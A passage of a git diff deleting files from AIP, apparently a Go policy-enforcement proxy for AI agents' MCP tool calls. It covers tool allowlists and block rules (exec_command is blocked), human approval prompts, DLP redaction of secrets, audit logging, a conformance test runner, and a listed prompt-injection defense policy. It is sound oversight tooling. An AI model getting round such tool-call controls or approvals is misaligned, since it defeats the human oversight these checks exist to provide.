-spec:
- mode: enforce
- allowed_tools:
- - read_file
- - list_directory
- tool_rules:
- - tool: write_file
- action: ask # Require approval
- - tool: exec_command
- action: block # Never allow
-```
-
-### v1alpha2 Policy with Identity & Server
-
-```yaml
-# policy-v1alpha2.yaml
-apiVersion: aip.io/v1alpha2
-kind: AgentPolicy
-metadata:
- name: enterprise-agent
-spec:
- allowed_tools:
- - read_file
- - write_file
- identity:
- enabled: true
- token_ttl: "10m"
- rotation_interval: "8m"
- require_token: true
- session_binding: "strict"
- server:
- enabled: true
- listen: "127.0.0.1:9443"
- # tls:
- # cert: "/etc/aip/cert.pem"
- # key: "/etc/aip/key.pem"
-```
-
-### Run
-
-```bash
-# Wrap any MCP server with policy enforcement
-./bin/aip --policy policy.yaml --target "npx @modelcontextprotocol/server-filesystem /tmp"
-
-# Verbose mode for debugging
-./bin/aip --policy policy.yaml --target "python mcp_server.py" --verbose
-```
-
-### Integrate with Cursor
-
-```bash
-# Generate Cursor config
-./bin/aip --generate-cursor-config \
- --policy /path/to/policy.yaml \
- --target "your-mcp-server-command"
-```
-
-Add the output to `~/.cursor/mcp.json`.
-
-## CLI Reference
-
-| Flag | Description | Default |
-|------|-------------|---------|
-| `--target` | MCP server command to wrap (required) | β |
-| `--policy` | Path to policy YAML file | `agent.yaml` |
-| `--audit` | Path to audit log file | `aip-audit.jsonl` |
-| `--verbose` | Enable detailed logging to stderr | `false` |
-| `--generate-cursor-config` | Output Cursor IDE config JSON | `false` |
-
-## Documentation
-
-| Document | Description |
-|----------|-------------|
-| [Quickstart](docs/quickstart.md) | Step-by-step tutorial with echo server |
-| [Architecture](docs/architecture.md) | Deep dive into proxy design |
-| [Integration Guide](docs/integration-guide.md) | Cursor, VS Code, Claude Desktop setup |
-| [Policy Reference](../../docs/policy-reference.md) | Complete YAML schema |
-| [AIP v1alpha1 Spec](../../spec/aip-v1alpha1.md) | Original protocol spec |
-| [AIP v1alpha2 Spec](../../spec/aip-v1alpha2.md) | Identity & server-side validation |
-
-## Examples
-
-See [`examples/`](examples/) for ready-to-use policies:
-
-- `agent.yaml` β Full-featured example with all options
-- `read-only.yaml` β Block all write operations
-- `gpu-policy.yaml` β GPU/ML workload controls
-- `gemini-jack-defense.yaml` β Prompt injection mitigation
-- `monitor-mode.yaml` β Dry-run testing
-- `identity-server.yaml` β v1alpha2 identity tokens + HTTP server
-
-## Architecture
-
-```
-βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
-β MCP Client ββββββΆβ AIP Proxy ββββββΆβ MCP Server β
-β (Agent) βββββββ Policy Engine βββββββ (Subprocess) β
-βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
- β
- βΌ
- βββββββββββββββ
- β Audit Log β
- β (JSONL) β
- βββββββββββββββ
-```
-
-The proxy:
-1. Intercepts JSON-RPC messages on stdin/stdout
-2. Evaluates `tools/call` requests against the policy
-3. Blocks, allows, or prompts for approval
-4. Logs all decisions to the audit file
-5. Applies DLP redaction to responses
-
-## Development
-
-```bash
-# Build
-make build
-
-# Test
-make test
-
-# Lint
-make lint
-
-# All checks
-make all
-```
-
-## License
-
-Apache 2.0 β See [LICENSE](../../LICENSE)
diff --git a/implementations/go-proxy/cmd/aip-conformance/main.go b/implementations/go-proxy/cmd/aip-conformance/main.go
deleted file mode 100644
index 863ce91..0000000
--- a/implementations/go-proxy/cmd/aip-conformance/main.go
+++ /dev/null
@@ -1,356 +0,0 @@
-package main
-
-import (
- "flag"
- "fmt"
- "os"
- "path/filepath"
- "strings"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/dlp"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
- "gopkg.in/yaml.v3"
-)
-
-// Test Suite Structs
-type TestSuite struct {
- Name string `yaml:"name"`
- Description string `yaml:"description"`
- Tests []TestCase `yaml:"tests"`
-}
-
-type TestCase struct {
- ID string `yaml:"id"`
- Description string `yaml:"description"`
- Policy string `yaml:"policy"`
- Input TestInput `yaml:"input"`
- Expected TestExpected `yaml:"expected"`
-}
-
-type TestInput struct {
- Method string `yaml:"method"`
- Tool string `yaml:"tool"`
- Args map[string]interface{} `yaml:"args"`
- Type string `yaml:"type"` // For DLP: "response"
- Content string `yaml:"content"` // For DLP
- Context map[string]interface{} `yaml:"context"`
-}
-
-type TestExpected struct {
- Decision string `yaml:"decision"`
- ErrorCode *int `yaml:"error_code"`
- Violation *bool `yaml:"violation"`
- Redacted bool `yaml:"redacted"` // For DLP
- Output string `yaml:"output"` // For DLP
- DLPEvents *[]DLPEvent `yaml:"dlp_events"` // For DLP
- ResponseFormat map[string]interface{} `yaml:"response_format"`
-}
-
-type DLPEvent struct {
- Rule string `yaml:"rule"`
- Count int `yaml:"count"`
-}
-
-// Result tracking
-type TestResult struct {
- ID string
- Passed bool
- Message string
-}
-
-func main() {
- level := flag.String("level", "basic", "Conformance level: basic, full, identity, server")
- verbose := flag.Bool("verbose", false, "Verbose output")
- specDir := flag.String("spec-dir", "../../../../spec/conformance", "Path to conformance spec directory")
- flag.Parse()
-
- fmt.Println("AIP Conformance Test Runner")
- fmt.Printf("Level: %s\n", *level)
-
- dirs := getDirsForLevel(*level)
- if len(dirs) == 0 {
- fmt.Printf("Unknown level: %s\n", *level)
- os.Exit(1)
- }
-
- totalPassed := 0
- totalTests := 0
- allPassed := true
-
- for _, dir := range dirs {
- fullPath := filepath.Join(*specDir, dir)
-
- // Check if directory exists
- if _, err := os.Stat(fullPath); os.IsNotExist(err) {
- if *verbose {
- fmt.Printf("Skipping missing directory: %s\n", fullPath)
- }
- continue
- }
-
- files, err := os.ReadDir(fullPath)
- if err != nil {
- fmt.Printf("Error reading directory %s: %v\n", fullPath, err)
- os.Exit(1)
- }
-
- fmt.Printf("\nRunning tests in %s/...\n", dir)
-
- for _, file := range files {
- if !strings.HasSuffix(file.Name(), ".yaml") {
- continue
- }
-
- suiteResults := runTestSuite(filepath.Join(fullPath, file.Name()), *verbose)
-
- fmt.Printf("\n%s\n", file.Name())
- for _, res := range suiteResults {
- totalTests++
- if res.Passed {
- totalPassed++
- fmt.Printf(" β %s: %s\n", res.ID, res.Message) // Added message to success for clarity if needed, usually empty
- } else {
- allPassed = false
- fmt.Printf(" β %s: %s\n", res.ID, res.Message)
- }
- }
- }
- }
-
- fmt.Printf("\nResults: %d/%d passed\n", totalPassed, totalTests)
- if !allPassed {
- os.Exit(1)
- }
-}
-
-func getDirsForLevel(level string) []string {
- switch level {
- case "basic":
- return []string{"basic"}
- case "full":
- return []string{"basic", "full"}
- case "identity":
- return []string{"basic", "full", "identity"}
- case "server":
- return []string{"basic", "full", "identity", "server"}
- default:
- return []string{}
- }
-}
-
-func runTestSuite(path string, verbose bool) []TestResult {
- data, err := os.ReadFile(path)
- if err != nil {
- return []TestResult{{ID: "LOAD", Passed: false, Message: fmt.Sprintf("Failed to read file: %v", err)}}
- }
-
- var suite TestSuite
- if err := yaml.Unmarshal(data, &suite); err != nil {
- return []TestResult{{ID: "PARSE", Passed: false, Message: fmt.Sprintf("Failed to parse YAML: %v", err)}}
- }
-
- var results []TestResult
- for _, test := range suite.Tests {
- res := runTestCase(test, verbose)
- // Clean up message for passed tests to avoid clutter
- if res.Passed && !verbose {
- res.Message = test.Description // Use description for success output
- }
- results = append(results, res)
- }
- return results
-}
-
-func runTestCase(test TestCase, verbose bool) TestResult {
- // Handle DLP tests
- if test.Input.Type == "response" {
- return runDLPTest(test)
- }
-
- // Handle Policy tests
- engine := policy.NewEngine()
-
- // Load policy if present
- if test.Policy != "" {
- if err := engine.Load([]byte(test.Policy)); err != nil {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Failed to load policy: %v", err)}
- }
- }
-
- // Simulate previous calls for rate limiting
- if calls, ok := test.Input.Context["previous_calls"]; ok {
- n := 0
- switch v := calls.(type) {
- case int:
- n = v
- case float64:
- n = int(v)
- }
- for i := 0; i < n; i++ {
- engine.IsAllowed(test.Input.Tool, test.Input.Args)
- }
- }
-
- // Execute test
- var decision string
- var errorCode *int
- var violation bool
-
- // Check method level first
- methodDecision := engine.IsMethodAllowed(test.Input.Method)
- if !methodDecision.Allowed {
- decision = "BLOCK"
- code := -32006 // Method Not Allowed
- errorCode = &code
- violation = true
- } else if strings.ToLower(test.Input.Method) == "tools/call" {
- // Tool level check
- d := engine.IsAllowed(test.Input.Tool, test.Input.Args)
-
- decision, errorCode, violation = mapDecision(d)
- } else {
- // Allowed non-tool method
- decision = "ALLOW"
- errorCode = nil
- violation = false
- }
-
- // Special handling for User Denied/Timeout (err-020, err-021)
- // If the test expects BLOCK due to user denial/timeout (-32004/-32005),
- // and the engine returns ASK, we consider it a pass for the engine.
- if decision == "ASK" && test.Expected.Decision == "BLOCK" {
- if test.Expected.ErrorCode != nil && (*test.Expected.ErrorCode == -32004 || *test.Expected.ErrorCode == -32005) {
- // Engine correctly identified it needs approval.
- // The simulated user denial (in input.context) would lead to BLOCK in a full proxy.
- return TestResult{ID: test.ID, Passed: true, Message: "Engine returned ASK, implied BLOCK by user denial"}
- }
- }
-
- // Determine expected error code (handling response_format fallback)
- expectedErrorCode := test.Expected.ErrorCode
- if expectedErrorCode == nil && test.Expected.ResponseFormat != nil {
- if errObj, ok := test.Expected.ResponseFormat["error"].(map[string]interface{}); ok {
- if code, ok := errObj["code"]; ok {
- switch v := code.(type) {
- case int:
- c := v
- expectedErrorCode = &c
- case float64:
- c := int(v)
- expectedErrorCode = &c
- }
- }
- }
- }
-
- // Compare results
- if decision != test.Expected.Decision {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected decision %s, got %s", test.Expected.Decision, decision)}
- }
-
- if expectedErrorCode != nil {
- if errorCode == nil {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected error code %d, got nil", *expectedErrorCode)}
- }
- if *errorCode != *expectedErrorCode {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected error code %d, got %d", *expectedErrorCode, *errorCode)}
- }
- } else {
- // Only enforce nil error code if we expect success
- if test.Expected.Decision == "ALLOW" || test.Expected.Decision == "ASK" {
- if errorCode != nil {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected no error code, got %d", *errorCode)}
- }
- }
- }
-
- if test.Expected.Violation != nil {
- if *test.Expected.Violation != violation {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected violation %v, got %v", *test.Expected.Violation, violation)}
- }
- }
-
- return TestResult{ID: test.ID, Passed: true, Message: test.Description}
-}
-
-func mapDecision(d policy.Decision) (string, *int, bool) {
- var decision string
- var errorCode *int
- violation := d.ViolationDetected
-
- switch d.Action {
- case policy.ActionAllow:
- decision = "ALLOW"
- errorCode = nil
- case policy.ActionBlock:
- decision = "BLOCK"
- code := -32001
- errorCode = &code
- case policy.ActionAsk:
- decision = "ASK"
- errorCode = nil
- case policy.ActionRateLimited:
- decision = "RATE_LIMITED"
- code := -32002
- errorCode = &code
- case policy.ActionProtectedPath:
- decision = "BLOCK" // Spec says BLOCK for protected path
- code := -32007
- errorCode = &code
- default:
- decision = "UNKNOWN"
- }
-
- return decision, errorCode, violation
-}
-
-func runDLPTest(test TestCase) TestResult {
- engine := policy.NewEngine()
- if err := engine.Load([]byte(test.Policy)); err != nil {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Failed to load policy: %v", err)}
- }
-
- dlpConfig := engine.GetDLPConfig()
- scanner, err := dlp.NewScanner(dlpConfig)
- if err != nil {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Failed to create DLP scanner: %v", err)}
- }
-
- output, events := scanner.Redact(test.Input.Content)
-
- // Check Redacted flag
- wasRedacted := output != test.Input.Content
- if test.Expected.Redacted != wasRedacted {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected redacted %v, got %v", test.Expected.Redacted, wasRedacted)}
- }
-
- // Check Output
- if test.Expected.Output != output {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected output %q, got %q", test.Expected.Output, output)}
- }
-
- // Check Events
- if test.Expected.DLPEvents != nil {
- expectedEvents := make(map[string]int)
- for _, e := range *test.Expected.DLPEvents {
- expectedEvents[e.Rule] = e.Count
- }
-
- actualEvents := make(map[string]int)
- for _, e := range events {
- actualEvents[e.RuleName] += e.MatchCount
- }
-
- if len(expectedEvents) != len(actualEvents) {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected %d event types, got %d", len(expectedEvents), len(actualEvents))}
- }
-
- for rule, count := range expectedEvents {
- if actualEvents[rule] != count {
- return TestResult{ID: test.ID, Passed: false, Message: fmt.Sprintf("Expected %d matches for rule %q, got %d", count, rule, actualEvents[rule])}
- }
- }
- }
-
- return TestResult{ID: test.ID, Passed: true, Message: test.Description}
-}
diff --git a/implementations/go-proxy/cmd/aip-proxy/main.go b/implementations/go-proxy/cmd/aip-proxy/main.go
deleted file mode 100644
index 43b5c68..0000000
--- a/implementations/go-proxy/cmd/aip-proxy/main.go
+++ /dev/null
@@ -1,1059 +0,0 @@
-// AIP - Agent Identity Protocol Proxy
-//
-// A policy enforcement proxy for MCP (Model Context Protocol) that intercepts
-// tool calls and enforces security policies between AI agents and tool servers.
-//
-// Architecture:
-//
-// βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
-// β MCP Client ββββββΆβ AIP Proxy ββββββΆβ MCP Server β
-// β (Agent) βββββββ Policy Engine βββββββ (Subprocess) β
-// βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
-//
-// Features:
-// - Tool allowlist enforcement (only permitted tools can be called)
-// - Argument validation with regex patterns
-// - Human-in-the-Loop approval (action: ask) via native OS dialogs
-// - DLP (Data Loss Prevention) output scanning and redaction
-// - JSONL audit logging for compliance and debugging
-// - Monitor mode for testing policies without enforcement
-//
-// TODO(v1beta1): Network Egress Control
-//
-// The current implementation enforces tool-level authorization but does not
-// restrict network egress from MCP server subprocesses. A compromised server
-// could still exfiltrate data via HTTP, DNS, or other protocols.
-//
-// Proposed approaches (see spec/aip-v1alpha1.md Appendix D):
-// - Linux: eBPF-based socket filtering, network namespaces
-// - macOS: Network Extension framework, sandbox-exec profiles
-// - Container: --network=none with explicit port forwarding
-// - Cross-platform: Transparent HTTP proxy with allowlist
-//
-// This is tracked as a future extension in the AIP specification.
-//
-// Usage:
-//
-// # Basic usage - wrap an MCP server with policy enforcement
-// aip --target "python mcp_server.py" --policy policy.yaml
-//
-// # Generate Cursor IDE configuration
-// aip --generate-cursor-config --policy policy.yaml --target "docker run mcp/server"
-//
-// # Monitor mode (log violations but don't block)
-// aip --target "npx @mcp/server" --policy monitor.yaml --verbose
-//
-// For more information: https://github.com/ArangoGutierrez/agent-identity-protocol
-package main
-
-import (
- "bufio"
- "context"
- "encoding/json"
- "flag"
- "fmt"
- "io"
- "log"
- "os"
- "os/exec"
- "os/signal"
- "path/filepath"
- "strings"
- "sync"
- "syscall"
- "time"
-
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/audit"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/dlp"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/identity"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/policy"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/protocol"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/server"
- "github.com/ArangoGutierrez/agent-identity-protocol/implementations/go-proxy/pkg/ui"
-)
-
-// -----------------------------------------------------------------------------
-// Configuration
-// -----------------------------------------------------------------------------
-
-// Config holds the proxy's runtime configuration parsed from flags.
-type Config struct {
- // Target is the command to run as the MCP server subprocess.
- // Example: "python server.py" or "npx @modelcontextprotocol/server-filesystem"
- Target string
-
- // PolicyPath is the path to the agent.yaml policy file.
- PolicyPath string
-
- // AuditPath is the path to the audit log file.
- // Default: "aip-audit.jsonl" in current directory.
- // CRITICAL: Must NOT be stdout or any path that writes to stdout.
- AuditPath string
-
- // Verbose enables detailed logging of intercepted messages.
- Verbose bool
-
- // GenerateCursorConfig prints Cursor IDE MCP configuration and exits.
- GenerateCursorConfig bool
-}
-
-func parseFlags() *Config {
- cfg := &Config{}
-
- // Custom usage message
- flag.Usage = func() {
- fmt.Fprintf(os.Stderr, `AIP - Agent Identity Protocol Proxy
-
-A security proxy that enforces policies on MCP tool calls.
-
-USAGE:
- aip --target "command" --policy policy.yaml [options]
-
-EXAMPLES:
- # Wrap an MCP server with policy enforcement
- aip --target "python mcp_server.py" --policy policy.yaml
-
- # Run in monitor mode (logs violations but doesn't block)
- aip --target "npx @mcp/server" --policy monitor.yaml --verbose
-
- # Generate configuration for Cursor IDE
- aip --generate-cursor-config --policy policy.yaml --target "docker run mcp/server"
-
-MODES:
- Enforce (default):
- Blocks tool calls that violate policy rules.
- Returns JSON-RPC error (-32001) to the client.
-
- Monitor (spec.mode: monitor in policy):
- Logs violations but allows all requests through.
- Use for testing policies before enforcement.
-
-AUDIT LOGS:
- All tool calls are logged to the audit file (default: aip-audit.jsonl).
- Each entry includes: timestamp, tool, args, decision, violation status.
- View logs: cat aip-audit.jsonl | jq '.'
- Find violations: cat aip-audit.jsonl | jq 'select(.violation == true)'
-
-OPTIONS:
-`)
- flag.PrintDefaults()
- fmt.Fprintf(os.Stderr, `
-POLICY FILE:
- See examples/ directory for policy templates:
- - read-only.yaml Only allow read operations
- - monitor-mode.yaml Log everything, block nothing
- - gemini-jack-defense.yaml Defense against prompt injection
-
-For more information: https://github.com/ArangoGutierrez/agent-identity-protocol
-`)
- }
-
- flag.StringVar(&cfg.Target, "target", "", "Command to run as MCP server (required)")
- flag.StringVar(&cfg.PolicyPath, "policy", "agent.yaml", "Path to policy YAML file")
- flag.StringVar(&cfg.AuditPath, "audit", "aip-audit.jsonl", "Path to audit log file")
- flag.BoolVar(&cfg.Verbose, "verbose", false, "Enable verbose logging to stderr")
- flag.BoolVar(&cfg.GenerateCursorConfig, "generate-cursor-config", false, "Print Cursor MCP config JSON and exit")
-
- flag.Parse()
-
- // If generating config, we need both target and policy
- if cfg.GenerateCursorConfig {
- if cfg.Target == "" || cfg.PolicyPath == "" {
- fmt.Fprintln(os.Stderr, "Error: --generate-cursor-config requires both --target and --policy")
- os.Exit(1)
- }
- return cfg
- }
-
- // Normal mode requires target
- if cfg.Target == "" {
- fmt.Fprintln(os.Stderr, "Error: --target flag is required")
- fmt.Fprintln(os.Stderr, "Run 'aip -h' for usage information")
- os.Exit(1)
- }
-
- return cfg
-}
-
-// -----------------------------------------------------------------------------
-// Main Entry Point
-// -----------------------------------------------------------------------------
-
-func main() {
- cfg := parseFlags()
-
- // Handle config generation mode
- if cfg.GenerateCursorConfig {
- generateCursorConfig(cfg)
- return
- }
-
- // CRITICAL STREAM SAFETY:
- // - stdout is RESERVED for JSON-RPC transport (client β server)
- // - stderr is used for operational logs (via log.Logger)
- // - audit logs go to a FILE (via audit.Logger)
- // NEVER write logs to stdout - it corrupts the JSON-RPC stream
-
- // Initialize operational logging to stderr
- // stderr is safe because it doesn't interfere with JSON-RPC on stdout
- logger := log.New(os.Stderr, "[aip-proxy] ", log.LstdFlags|log.Lmsgprefix)
-
- // Load the policy file
- engine := policy.NewEngine()
- if err := engine.LoadFromFile(cfg.PolicyPath); err != nil {
- logger.Fatalf("Failed to load policy: %v", err)
- }
- logger.Printf("Loaded policy: %s (API version: %s)", engine.GetPolicyName(), engine.GetAPIVersion())
- logger.Printf("Allowed tools: %v", engine.GetAllowedTools())
- logger.Printf("Policy mode: %s", engine.GetMode())
-
- // Initialize identity manager if configured (v1alpha2)
- var identityManager *identity.Manager
- if identityCfg := engine.GetIdentityConfig(); identityCfg != nil && identityCfg.Enabled {
- idConfig := &identity.Config{
- Enabled: identityCfg.Enabled,
- TokenTTL: identityCfg.TokenTTL,
- RotationInterval: identityCfg.RotationInterval,
- RequireToken: identityCfg.RequireToken,
- SessionBinding: identityCfg.SessionBinding,
- }
-
- var err error
- identityManager, err = identity.NewManager(
- engine.GetPolicyName(),
- engine.GetPolicyPath(),
- engine.GetPolicyData(),
- idConfig,
- )
- if err != nil {
- logger.Fatalf("Failed to initialize identity manager: %v", err)
- }
-
- // Set up token event logging
- identityManager.OnTokenIssued(func(token *identity.Token) {
- logger.Printf("Identity token issued: session=%s, expires=%s", token.SessionID, token.ExpiresAt)
- })
- identityManager.OnTokenRotated(func(oldToken, newToken *identity.Token) {
- logger.Printf("Identity token rotated: session=%s, new_expiry=%s", newToken.SessionID, newToken.ExpiresAt)
- })
-
- logger.Printf("Identity management enabled: session=%s, require_token=%v",
- identityManager.GetSessionID(), idConfig.RequireToken)
- }
-
- // Initialize audit logger (writes to file, NEVER stdout)
- auditMode := audit.PolicyModeEnforce
- if engine.IsMonitorMode() {
- auditMode = audit.PolicyModeMonitor
- }
- auditLogger, err := audit.NewLogger(&audit.Config{
- FilePath: cfg.AuditPath,
- Mode: auditMode,
- })
- if err != nil {
- logger.Fatalf("Failed to initialize audit logger: %v", err)
- }
- defer func() { _ = auditLogger.Close() }()
- logger.Printf("Audit logging to: %s", cfg.AuditPath)
-
- // Create context for graceful shutdown
- ctx, cancel := context.WithCancel(context.Background())
- defer cancel()
-
- // Start identity manager if enabled (v1alpha2)
- if identityManager != nil {
- if err := identityManager.Start(ctx); err != nil {
- logger.Fatalf("Failed to start identity manager: %v", err)
- }
- defer identityManager.Stop()
- }
-
- // Start HTTP server if enabled (v1alpha2)
- var httpServer *server.Server
- if serverCfg := engine.GetServerConfig(); serverCfg != nil && serverCfg.Enabled {
- srvConfig := &server.Config{
- Enabled: serverCfg.Enabled,
- Listen: serverCfg.Listen,
- }
- if serverCfg.TLS != nil {
- srvConfig.TLS = &server.TLSConfig{
- Cert: serverCfg.TLS.Cert,
- Key: serverCfg.TLS.Key,
- ClientCA: serverCfg.TLS.ClientCA,
- RequireClientCert: serverCfg.TLS.RequireClientCert,
- }
- }
- if serverCfg.Endpoints != nil {
- srvConfig.Endpoints = &server.EndpointsConfig{
- Validate: serverCfg.Endpoints.Validate,
- Health: serverCfg.Endpoints.Health,
- Metrics: serverCfg.Endpoints.Metrics,
- }
- }
-
- var err error
- httpServer, err = server.NewServer(srvConfig, engine, identityManager, logger)
- if err != nil {
- logger.Fatalf("Failed to create HTTP server: %v", err)
- }
- if err := httpServer.Start(); err != nil {
- logger.Fatalf("Failed to start HTTP server: %v", err)
- }
- defer func() {
- shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
- defer shutdownCancel()
- _ = httpServer.Stop(shutdownCtx)
- }()
- }
-
- // Set up signal handling for graceful shutdown
- sigChan := make(chan os.Signal, 1)
- signal.Notify(sigChan, syscall.SIGTERM, syscall.SIGINT)
-
- // Start the subprocess
- proxy, err := NewProxy(ctx, cfg, engine, logger, auditLogger, identityManager)
- if err != nil {
- logger.Fatalf("Failed to start proxy: %v", err)
- }
-
- // Handle shutdown signals with graceful termination
- // IMPORTANT: Send SIGTERM first, wait for graceful exit, then force kill
- go func() {
- sig := <-sigChan
- logger.Printf("Received signal %v, initiating graceful shutdown...", sig)
-
- // Step 1: Request graceful shutdown (sends SIGTERM to subprocess)
- proxy.Shutdown()
-
- // Step 2: Give subprocess time to exit gracefully
- // The proxy.Run() loop will detect subprocess exit via cmd.Wait()
- gracefulTimeout := time.After(10 * time.Second)
-
- select {
- case <-gracefulTimeout:
- // Subprocess didn't exit in time, force kill via context cancellation
- logger.Printf("Graceful shutdown timeout, forcing termination...")
- cancel()
- case <-proxy.ctx.Done():
- // Context already done (subprocess exited or other cancellation)
- }
- }()
-
- // Run the proxy (blocks until subprocess exits)
- exitCode := proxy.Run()
-
- // Ensure audit logs are flushed before exit
- if err := auditLogger.Sync(); err != nil {
- logger.Printf("Warning: failed to sync audit log: %v", err)
- }
-
- os.Exit(exitCode)
-}
-
-// -----------------------------------------------------------------------------
-// Cursor Config Generator
-// -----------------------------------------------------------------------------
-
-// generateCursorConfig prints a JSON configuration snippet for Cursor IDE's
-// MCP settings file (~/.cursor/mcp.json). This makes it easy to integrate
-// AIP with Cursor by wrapping MCP servers with policy enforcement.
-func generateCursorConfig(cfg *Config) {
- // Get absolute path to current executable
- execPath, err := os.Executable()
- if err != nil {
- fmt.Fprintf(os.Stderr, "Error: failed to get executable path: %v\n", err)
- os.Exit(1)
- }
- execPath, err = filepath.EvalSymlinks(execPath)
- if err != nil {
- fmt.Fprintf(os.Stderr, "Error: failed to resolve executable path: %v\n", err)
- os.Exit(1)
- }
-
- // Get absolute path to policy file
- policyPath, err := filepath.Abs(cfg.PolicyPath)
- if err != nil {
- fmt.Fprintf(os.Stderr, "Error: failed to resolve policy path: %v\n", err)
- os.Exit(1)
- }
-
- // Verify policy file exists
- if _, err := os.Stat(policyPath); os.IsNotExist(err) {
- fmt.Fprintf(os.Stderr, "Warning: policy file does not exist: %s\n", policyPath)
- }
-
- // Build the configuration structure
- config := map[string]interface{}{
- "mcpServers": map[string]interface{}{
- "protected-tool": map[string]interface{}{
- "command": execPath,
- "args": []string{
- "--policy", policyPath,
- "--target", cfg.Target,
- },
- },
- },
- }
-
- // Pretty print JSON
- output, err := json.MarshalIndent(config, "", " ")
- if err != nil {
- fmt.Fprintf(os.Stderr, "Error: failed to generate JSON: %v\n", err)
- os.Exit(1)
- }
-
- fmt.Println(string(output))
- fmt.Fprintln(os.Stderr, "")
- fmt.Fprintln(os.Stderr, "Add the above JSON to ~/.cursor/mcp.json")
- fmt.Fprintln(os.Stderr, "Then restart Cursor to enable the protected MCP server.")
-}
-
-// -----------------------------------------------------------------------------
-// Proxy Implementation
-// -----------------------------------------------------------------------------
-
-// Proxy manages the subprocess and IO goroutines.
-//
-// The proxy is the core "Man-in-the-Middle" component. It:
-// 1. Spawns the target MCP server as a subprocess
-// 2. Intercepts messages flowing from client (stdin) to server (subprocess)
-// 3. Applies policy checks to tool/call requests
-// 4. Passes through allowed requests, blocks forbidden ones
-// 5. Prompts user for approval on action="ask" rules (Human-in-the-Loop)
-// 6. Scans downstream responses for sensitive data (DLP) and redacts
-// 7. Logs all decisions to the audit log file (NEVER stdout)
-// 8. Validates identity tokens if configured (v1alpha2)
-type Proxy struct {
- ctx context.Context
- cfg *Config
- engine *policy.Engine
- logger *log.Logger
- auditLogger *audit.Logger
- prompter *ui.Prompter
- dlpScanner *dlp.Scanner
- identityManager *identity.Manager // v1alpha2
-
- // cmd is the subprocess running the target MCP server
- cmd *exec.Cmd
-
- // subStdin is the pipe to write to the subprocess's stdin
- subStdin io.WriteCloser
-
- // subStdout is the pipe to read from the subprocess's stdout
- subStdout io.ReadCloser
-
- // wg tracks the IO goroutines for clean shutdown
- wg sync.WaitGroup
-
- // mu protects concurrent writes to stdout
- // CRITICAL: Only JSON-RPC responses go to stdout, never logs
- mu sync.Mutex
-}
-
-// NewProxy creates and starts a new proxy instance.
-//
-// This function:
-// 1. Parses the target command into executable and arguments
-// 2. Creates the subprocess with piped stdin/stdout
-// 3. Initializes the user prompter for Human-in-the-Loop approval
-// 4. Initializes the DLP scanner for output redaction
-// 5. Starts the subprocess
-//
-// The subprocess inherits our stderr for error output visibility.
-// The auditLogger is used to record all policy decisions to a file.
-func NewProxy(ctx context.Context, cfg *Config, engine *policy.Engine, logger *log.Logger, auditLogger *audit.Logger, identityManager *identity.Manager) (*Proxy, error) {
- // Parse the target command
- // Simple space-split; doesn't handle quoted args (use shell wrapper if needed)
- parts := strings.Fields(cfg.Target)
- if len(parts) == 0 {
- return nil, fmt.Errorf("empty target command")
- }
-
- // Create the subprocess command
- cmd := exec.CommandContext(ctx, parts[0], parts[1:]...)
-
- // Get pipes for subprocess communication
- subStdin, err := cmd.StdinPipe()
- if err != nil {
- return nil, fmt.Errorf("failed to create stdin pipe: %w", err)
- }
-
- subStdout, err := cmd.StdoutPipe()
- if err != nil {
- return nil, fmt.Errorf("failed to create stdout pipe: %w", err)
- }
-
- // Initialize DLP scanner for output redaction (needed before stderr setup)
- var dlpScanner *dlp.Scanner
- dlpCfg := engine.GetDLPConfig()
- if dlpCfg != nil && dlpCfg.IsEnabled() {
- dlpScanner, err = dlp.NewScanner(dlpCfg)
- if err != nil {
- return nil, fmt.Errorf("failed to initialize DLP scanner: %w", err)
- }
- logger.Printf("DLP enabled with %d patterns: %v", dlpScanner.PatternCount(), dlpScanner.PatternNames())
- if dlpScanner.DetectsEncoding() {
- logger.Printf("DLP encoding detection enabled (base64/hex)")
- }
- } else {
- logger.Printf("WARNING: DLP is disabled. Tool arguments may contain secrets that will be logged unredacted to the audit file.")
- }
-
- // Configure subprocess stderr - optionally filtered through DLP
- // This prevents secrets from leaking through error logs
- if dlpCfg != nil && dlpCfg.FilterStderr && dlpScanner != nil {
- cmd.Stderr = dlp.NewFilteredWriter(os.Stderr, dlpScanner, logger, "[subprocess]")
- logger.Printf("DLP stderr filtering enabled")
- } else {
- cmd.Stderr = os.Stderr
- }
-
- // Initialize the user prompter for Human-in-the-Loop approval
- // Check for headless environment and log a warning
- prompter := ui.NewPrompter(nil) // Use default config (60s timeout, rate limiting)
- prompter.SetLogger(logger.Printf) // Enable rate limit warnings
- if ui.IsHeadless() {
- logger.Printf("Warning: Running in headless environment; action=ask rules will auto-deny")
- }
- logger.Printf("Approval rate limiting: max %d prompts/minute, %v cooldown",
- ui.DefaultMaxPromptsPerMinute, ui.DefaultCooldownDuration)
-
- // Start the subprocess
- if err := cmd.Start(); err != nil {
- return nil, fmt.Errorf("failed to start subprocess: %w", err)
- }
-
